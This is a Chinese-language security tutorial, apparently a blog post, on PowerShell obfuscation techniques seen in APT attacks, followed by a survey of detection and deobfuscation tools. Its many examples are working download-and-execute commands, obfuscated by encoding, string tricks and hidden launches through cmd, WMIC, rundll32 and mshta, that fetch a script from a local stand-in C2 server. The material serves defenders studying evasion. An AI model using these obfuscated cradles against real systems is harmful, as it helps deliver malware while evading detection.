良好的习惯是人生产生复利的有力助手
上一篇讲解了APT攻击中用到的cmd命令混淆,本篇延续上一篇的内容,分析一下攻击中更加常用的powershell混淆和检测方法。
powershell的功能强大且调用方式十分灵活,目前大多数攻击者已经将PowerShell 应用在各种攻击场景中,如内网渗透,APT攻击甚至勒索软件中,在和各种组件,例如cmd,rundll32, 配合使用后,对抗能力更加强大。
上一篇讲解的CMD的混淆姿势,相对Powershell少的太多,完全不在一个量级上,因此建立整个powershell的混淆体系,花费了不少时间,还好努力没有白费,让我对powershell混淆姿势有了整体的认知。
powershell混淆主要是针对以下三个方面的内容,分别为:
而powershell的混淆姿势,根据自己现有的知识储备,大致分为了8大类:
每一大类又分成了很多子项。为了方便大家学习和思考,我将powershell混淆姿势和防御手段总结成了如下所示的一张思维导图,有的添加了例子,有的没有添加,图太长不容易看。
为了让大家能更清晰地学习Powershell混淆,我以下面powershell远程代码执行的例子作为原型进行混淆:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
其中“ http://127.0.0.1:8899/qiye.txt”为C2地址,使用Python -m SimpleHTTPServer 8899简易搭建:
qiye.txt的内容为:
Write-Host "qiye successfully executed!!!`n`n" -NoNewLine -ForegroundColor Green
在powershell解释器中的运行效果如下:
以下我讲解的每种手法,代码都是多样的,我只是挑选其中一种实现功能的方式,大家不要被局限了,讲的是方法不是代码哈。
这个没有什么好解释的,powershell大小写不敏感
INVOKE-Expression (New-Object SYStem.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt"))
反引号在powershell中是转义符,转义符号加在大部分字符前不影响字符的意思,从而实现混淆,不过有些例外:
0 Null
`a 警报
`b 退格
`f 换页
`n 换行
`r 回车
`t 水平制表
`v 垂直制表
所以大家在使用反引号进行混淆的时候,不要把反引号加在上述的字母前面,不然会导致脚本无法运行。
Inv`o`ke-Ex`pr`e`s`sion (`New-Object `System.`Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
我们可以通过添加括号或引号,将脚本中的对象和函数,转化为字符串执行,其中括号代替空格。
Invoke-Expression (New-Object System.Net.WebClient).'DownloadString'("http://127.0.0.1:8899/qiye.txt")
或者
Invoke-Expression (New-Object("System.Net.WebClient")).DownloadString("http://127.0.0.1:8899/qiye.txt")
在脚本中添加多余的空格是无关紧要的,不会影响脚本的运行,当然也不要乱填,不要影响正常的语法结构:
Invoke-Expression (New-Object("System.Net.WebClient")).DownloadString( "http://127.0.0.1:8899/qiye.txt")
还有& ,. , {} 这三种符号,放到脚本块中说明。
使用引号进行分段拼接。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString(('ht'+'tp:'+'//127.0'+'.0.1:88'+'9'+'9/'+'qiy'+'e.t'+'xt'))
字符串反转:
reverseCmd[-1..-(reverseCmd.Length)]
$reverseCmd = ")'txt.eyiq/9988:1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN.metsyS tcejbO-weN( noisserpxE-ekovnI";Invoke-Expression ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
字符串中的Split , Join,Replace。
$cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression ($cmdWithDelim.Split("___") -Join '')
或者
$cmdWithDelim= "Invoke-Ex___pression (New-Object Syst___em.Net.WebClient).Download___String('http://127.0.0.1:8899/qiye.txt')";Invoke-Expression $cmdWithDelim.Replace("___","")
格式化指的是字符串占位符的使用,如果你用过Python,这很常见,可以任意打断字符串顺序。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString(("{0}{4}{1}{6}{3}{7}{2}{8}{5}"-f 'http:','1','.1:8899','7.','//','iye.txt','2','0.0','/q'))
在powershell解释器中输入alias,看到所有的对象和函数的简写方式,也就是别名。常见的Invoke-Expression 可以使用 IEX来代替。
Net.WebClient=System.Net.WebClient
IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
New-Object 可以通过通配符*写成如下的多种形式:
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"("http://127.0.0.1:8899/qiye.txt")
Invoke本来不应该放到这的,但是发现也没有什么好位置,就随意一下,放这吧。Invoke可以帮助我们打断关键函数之间的关系。
IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")
将关键字拆分成多个变量,然后替换拼接。
$v1="System.Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2).DownloadString("http://127.0.0.1:8899/qiye.txt")
以构建DownloadString 为例,通过遍历函数并模糊匹配的方式找到DownloadString ,用到了PsObject.Methods 和Where-Object。
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http://127.0.0.1:8899/qiye.txt")
变量传递常用的有四种方式:
我主要说一下第4种,比较有创意,其他3种大家看思维导图即可。
第4种的想法是 启动多个进程,例如cmd.exe,将要执行的命令内容放到进程参数中,要执行代码的时候,直接过滤出所需进程,并通过进程参数拼接出真正的执行内容,
通过 $ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")的方式创建脚本块。
.($ExecutionContext.InvokeCommand.NewScriptBlock('IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")'))
[Scriptblock]相当于 [Type]("Scriptblock")
。
Invoke-Expression (New-Object ([type]("Net.WebClient"))).DownloadString("http://127.0.0.1:8899/qiye.txt")
invoke-command{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
ICM{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}.invoke()
&{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
.{Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")}
在powershell命令行中,使用-EncodedCommand,而在脚本中使用FromBase64String
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAKABbAHQAeQBwAGUAXQAoACIATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAiACkAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOAA4ADkAOQAvAHEAaQB5AGUALgB0AHgAdAAiACkA')))
使用[char]xx 代替字符 如:[char]59–>;
$cmd= "echo qiye___"; echo $cmd.Replace("___",[string]([char]59)) | IEX
[Convert]::ToString(100, $digit)
$digit可以为2,8,16 ,从而实现十进制向其他进制的转换。还有通过占位符的方式:
"{0:X4}" -f 100
混淆后,瞬间头大:
('49}6eO76}6fq6bV65r2d!45r78q70}72W65%73W73!69}6f!6eW20r28%4eV65W77q2dq4f!62%6aW65r63O74%20}4eV65V74V2eq57W65V62%43V6cq69q65q6er74O29!2eq44}6f%77q6eO6cO6f!61%64q53r74O72}69!6eV67O28W22}68V74q74%70V3aW2fq2f}31W32}37O2e}30q2eq30}2er31q3a!38r38q39V39%2fW71}69W79r65}2eq74r78W74%22O29'-sPlIT 'W' -sPlit'V'-SpliT 'q' -SpliT 'r' -SPlIt'}'-SplIt'%'-sPLIT'O' -splIt '!'| fOREach { ([CONvERT]::tOInT16(( $_.tOsTrinG()) ,16)-as[CHAR]) })-JOIn ''|&( $sheLLID[1]+$ShELliD[13]+'X')
bytes[i] = bytes[i] -BXOR 0xAA
SecureString其实是一种加解密的方式,通过密钥,对脚本进行加解密 ,实现脚本的混淆。
$cmd= "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8899/qiye.txt')"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX
通过DeComPress对压缩后的脚本解压执行。
通过第三方组件进行启动,进一步隐藏真实内容:CMD:
C:\WiNDOws\SYStem32\CmD /C POWerSHElL -wInDoWsTyle HidDen -eXecutIoNp ByPaSs "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"
WMIC:
C:\WINdOws\sySTeM32\wBEM\WmIC 'PRoCESS' 'Call' 'cREatE' "POwERshElL -ExECuti ByPASs -wi hiDDEN Invoke-Expression (New-Object System.Net.WebClient).DownloadString("\"http://127.0.0.1:8899/qiye.txt"\")"
rundll32:
rUNdLL32 SHELL32.DLL ShellExec_RunDLL "PowerSHELL" " -wIN HIDdeN " " -ExeCUTion BYPaSS" "Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\"http://127.0.0.1:8899/qiye.txt\")"
Mshta++:
c:\WindoWS\sysTeM32\cmd /c"sEt uJB=Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")&&C:\WIndOWS\SYSTEM32\MSHta VBScRiPt:CREAteOBJEcT("WScr"+"i"+"Pt."+"SH"+"ell").Run("pOwerSHELL -wIndoW H -eXEcuti bypaSS ${eXEcuTioNconText}.'iNvokEcomMaNd'.( '{1}{0}{2}' -f 'escR','inVoK','IPt' ).Invoke( ( ^& ( '{2}{0}{1}'-f 't','-item','GE') ( '{1}{0}{2}' -f':','eNV','UJB' )).'vAlue' )",8-1-6,TRUe)(WiNDOW.CLosE)"
和上一篇cmd混淆一样,基于上述的原理,安全大牛创造了 专门的PowerShell混淆工具,高深的命令混淆批量生产,卖成了白菜价。项目地址:
https://github.com/danielbohannon/Invoke-Obfuscation
拥有多种混淆方式,基本上涵盖了上述的混淆方法,同时还有没提到的基于语法树AST的混淆方式,改变代码逻辑。
支持TOKEN,AST语法树,字符串,编码,压缩,启动方式等功能,有良好的教程指导,还是非常好上手的。
防御手段主要分为两个层次,第一种比较浅的层次是对混淆进行检测,仅仅是判断是否混淆,另一种是比较深的层次是对混淆进行还原,可以判断出脚本本身是否恶意。
根据上述混淆的方式,提取关键特征分支进行系统化分析,已知做的比较好的是如下的开源项目,是组内大佬设计的。
https://github.com/We5ter/Flerken
这是一种跨平台的解决方案, 能检测CMD,shell,powershell等多场景的命令混淆方式。静态检测的方式,对于动态生成+微混淆 的命令检测能力较弱。
从原理上来说,基于语法树检测,更胜一筹,但是到底做的好不好,还是要大规模样本检验。
https://github.com/danielbohannon/Revoke-Obfuscation
试用一下,对通过格式化混淆的手法进行检测:
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
自从机器学习火了之后,各种问题都开始尝试使用机器学习来做了。机器学习可以覆盖大多数的样本是没有问题的,但是很难经得起对抗。之前做过webshell的AI模型,webshell的AI模型顾全局而失细节,正常文件+微混淆,基本上都可以绕过。推荐两篇文章:
https://bbs.pediy.com/thread-248034.htm
https://www.4hou.com/posts/G8pJ
混淆还原除了微软推出的AMSI,我最喜欢的就是Unit42安全团队在Github上公开的自己研发的powershell自动反混淆工具,真的很强大。
https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
还是以下面这段脚本为例:
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:8899/qiye.txt")
powershellprofiler工具,不仅将脚本还原,而且还分析出脚本的行为,并打分,用起来真的舒服。
篇幅有限,下次有时间可以给大家分析一下这个脚本,还有AMSI的对抗方式。
https://www.secpulse.com/archives/117576.html https://www.freebuf.com/sectool/136328.html https://bbs.pediy.com/thread-248034.htm https://www.4hou.com/posts/G8pJ https://www.chainnews.com/articles/075661407787.htm https://www.anquanke.com/post/id/86637 https://www.bookstack.cn/read/Powershell-Attack-Guide/ch10.md